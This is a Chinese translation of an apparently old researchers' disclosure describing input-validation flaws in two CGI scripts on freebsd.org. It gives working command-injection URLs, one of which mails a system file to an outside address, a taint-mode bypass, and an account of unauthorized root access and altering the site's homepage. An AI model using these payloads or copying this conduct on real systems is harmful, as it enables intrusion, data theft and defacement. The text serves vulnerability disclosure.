|
各位亲爱的安全界的朋友们,
正如你们可能注意到的那样,Frank和我发现了freebsd.org上的一点小小的安全问题。我们发现一个CGI脚本程序dosendptr.cgi对其gndb参数没有进行正确的检查,所以我们可以通过构造一个精巧的字符串来获取想要的任何文件。
这本来不是一个十分严重的问题,但是后来我们又发现另外一个CGI程序getmsg.cgi没有对其fetch参数进行正确的输入检查。而这个参数的输入变量被传递给open()系统调用。
getmsg.cgi中的漏洞是相当严重的,它允许我们传递任意字符串(例如';/usr/bin/id|')给CGI程序并打开它。(译者注:如果在文件名后加上‘|’,open()函数就会去执行它,而不是打开)但是还有两个问题:
1.输入需用空格分开; 2.getmsg.cgi运行于taint模式;
第一个限制容易克服,我们用TABS代替空格来分开输入命令。所以我们只需要提交下面这样的字符串就行:
getmsg.cgi?fetch=one+two+;/bin/cat%09/etc/ftsab%09|mail%09nohican\@niets.org|+four
但是这样还是不能成功,因为getmsg.cgi运行于perl的taint模式。 (译者注:taint模式是PERL的一种内置安全检查模式,在perl文件开头使用-T参数就可以使程序运行于 这种模式,即#!/usr/local/bin/perl -T。当程序以taint模式运行时,提交给程序的外部的变量不能对外部数据产生影响,即提交的参数不能用于eval(),system(),exec(),open()等函数中)
还记得前边提到的第一个dosendptr.cgi的漏洞吗?我们可以使用dosendptr.cgi来间接的调用getmsg.cgi,这样就可以克服perl的taint模式检查。
于是我们提交这样的字符串个服务器:
http://www.freebsd.org/dosendptr.cgi?gngdb=./getmsg.cgi%00& fetch=one+two+/usr/local/www/db/text;/bin/cat%09/etc/fstab|+four
这样就执行了cat /etc/fstab命令了。
我们已经在freebsd.org上得到了nobody权限,并且我们很快地通过一个已知的/proc/pid/mem文件漏洞 得到了root权限。这个漏洞也是我们发现的,后面会介绍它。
请注意,我们没有任何不良的意图,也没有试图通过修改日志来隐藏我们的发现。我们所做的仅仅是在 hup.freebsd.org上增加了一个额外的规则来重写URL。并且修改了http://www.freebsd.org上的index.html 文件,给Kris留了一条信息,原始的index.html文件保存在相同的目录下。
Kris,祝你在新工作中交好运,如果我们能帮忙的话,请告知我们。(译者注:Kris是freebsd.org的安全官员)
Kind regards, Joost Pol aka Nohican Frank Van Vliet aka {} 翻译:isno |